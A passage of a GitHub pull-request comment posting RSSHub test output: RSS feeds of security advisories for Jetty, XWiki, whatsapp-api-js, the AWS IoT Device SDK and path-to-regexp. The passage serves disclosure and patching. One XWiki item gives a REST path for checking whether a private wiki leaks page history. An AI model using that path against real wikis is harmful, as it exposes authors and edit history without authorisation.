        &lt;li&gt;10.0.16 - fixed in PR &lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;11.0.16 - fixed in PR &lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;12.0.0 - not impacted (already has fix)&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;workaround&quot;&gt;Workaround&lt;/h3&gt;
        &lt;p&gt;Upgrade your version of Jetty.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9660&quot;&gt;https://github.com/eclipse/jetty.project/pull/9660&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/security/advisories/GHSA-pwh8-58vv-vw48&quot;&gt;https://github.com/eclipse/jetty.project/security/advisories/GHSA-pwh8-58vv-vw48&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9660&quot;&gt;https://github.com/eclipse/jetty.project/pull/9660&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-41900&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-41900&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.debian.org/security/2023/dsa-5507&quot;&gt;https://www.debian.org/security/2023/dsa-5507&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.netapp.com/advisory/ntap-20231110-0004&quot;&gt;https://security.netapp.com/advisory/ntap-20231110-0004&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pwh8-58vv-vw48&quot;&gt;https://github.com/advisories/GHSA-pwh8-58vv-vw48&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pwh8-58vv-vw48</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pwh8-58vv-vw48</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.xwiki.platform:xwiki-platform-rest-server] XWiki Platform document history including authors of any page exposed to unauthorized actors</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;The REST API exposes the history of any page in XWiki of which the attacker knows the name. The exposed information includes for each modification of the page the time of the modification, the version number, the author of the modification (both username and displayed name) and the version comment. This information is exposed regardless of the rights setup, and even when the wiki is configured to be fully private.&lt;/p&gt;
        &lt;p&gt;On a private wiki, this can be tested by accessing &lt;code&gt;/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history&lt;/code&gt;, if this shows the history of the main page then the installation is vulnerable.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;This has been patched in XWiki 15.10.9 and XWiki 16.3.0RC1.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;There aren&#39;t any known workarounds apart from upgrading to a fixed version.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pvmm-55r5-g3mm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pvmm-55r5-g3mm</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.xwiki.platform:xwiki-platform-rest-server] XWiki Platform document history including authors of any page exposed to unauthorized actors</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;The REST API exposes the history of any page in XWiki of which the attacker knows the name. The exposed information includes for each modification of the page the time of the modification, the version number, the author of the modification (both username and displayed name) and the version comment. This information is exposed regardless of the rights setup, and even when the wiki is configured to be fully private.&lt;/p&gt;
        &lt;p&gt;On a private wiki, this can be tested by accessing &lt;code&gt;/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history&lt;/code&gt;, if this shows the history of the main page then the installation is vulnerable.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;This has been patched in XWiki 15.10.9 and XWiki 16.3.0RC1.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;There aren&#39;t any known workarounds apart from upgrading to a fixed version.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pvmm-55r5-g3mm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pvmm-55r5-g3mm</guid>
      <author>GitHub</author>
    </item>
  </channel>
</rss>

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/npm - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - npm</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/npm" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - npm - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:19:17 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[whatsapp-api-js] whatsapp-api-js fails to validate message&#39;s signature</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Incorrect Access Control, anyone using the post or verifyRequestSignature methods to handle messages is impacted.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Patched in version 4.0.3.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;It&#39;s possible to check the payload validation using the WhatsAppAPI.verifyRequestSignature and expect false when the signature is valid.&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;function doPost(payload, header_signature) {
        if (whatsapp.verifyRequestSignature(payload.toString(), header_signature) {
        throw 403;
        }
        // Now the payload is correctly verified
        whatsapp.post(payload);
        }
        &lt;/code&gt;&lt;/pre&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/pull/371&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/pull/371&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/security/advisories/GHSA-mwhf-vhr5-7j23&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/security/advisories/GHSA-mwhf-vhr5-7j23&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/pull/371&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/pull/371&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/commit/56620c65126427496a94d176082fbd8393a95b6d&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/commit/56620c65126427496a94d176082fbd8393a95b6d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45607&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45607&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mwhf-vhr5-7j23&quot;&gt;https://github.com/advisories/GHSA-mwhf-vhr5-7j23&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mwhf-vhr5-7j23</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mwhf-vhr5-7j23</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.3.3), Python (versions prior to 1.5.18), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.1) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on Windows. This issue has been addressed in aws-c-io submodule versions 0.9.13 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.3.3 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.5.18 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Microsoft Windows.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-94jq-q5v2-76wj&quot;&gt;https://github.com/advisories/GHSA-94jq-q5v2-76wj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-94jq-q5v2-76wj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-94jq-q5v2-76wj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &#39;aws_tls_ctx_options_override_default_trust_store_*&#39; function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-c4rh-4376-gff4&quot;&gt;https://github.com/advisories/GHSA-c4rh-4376-gff4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-c4rh-4376-gff4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-c4rh-4376-gff4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on macOS systems. Additionally, SNI validation is also not enabled when the CA has been &quot;overridden&quot;. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &lt;code&gt;aws_tls_ctx_options_override_default_trust_store_*&lt;/code&gt; function within the aws-c-io submodule has been updated to address this behavior. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.7.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.14.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.6.0 on macOS. Amazon Web Services AWS-C-IO 0.10.7 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&quot;&gt;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-743r-5g92-5vgf&quot;&gt;https://github.com/advisories/GHSA-743r-5g92-5vgf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-743r-5g92-5vgf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-743r-5g92-5vgf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
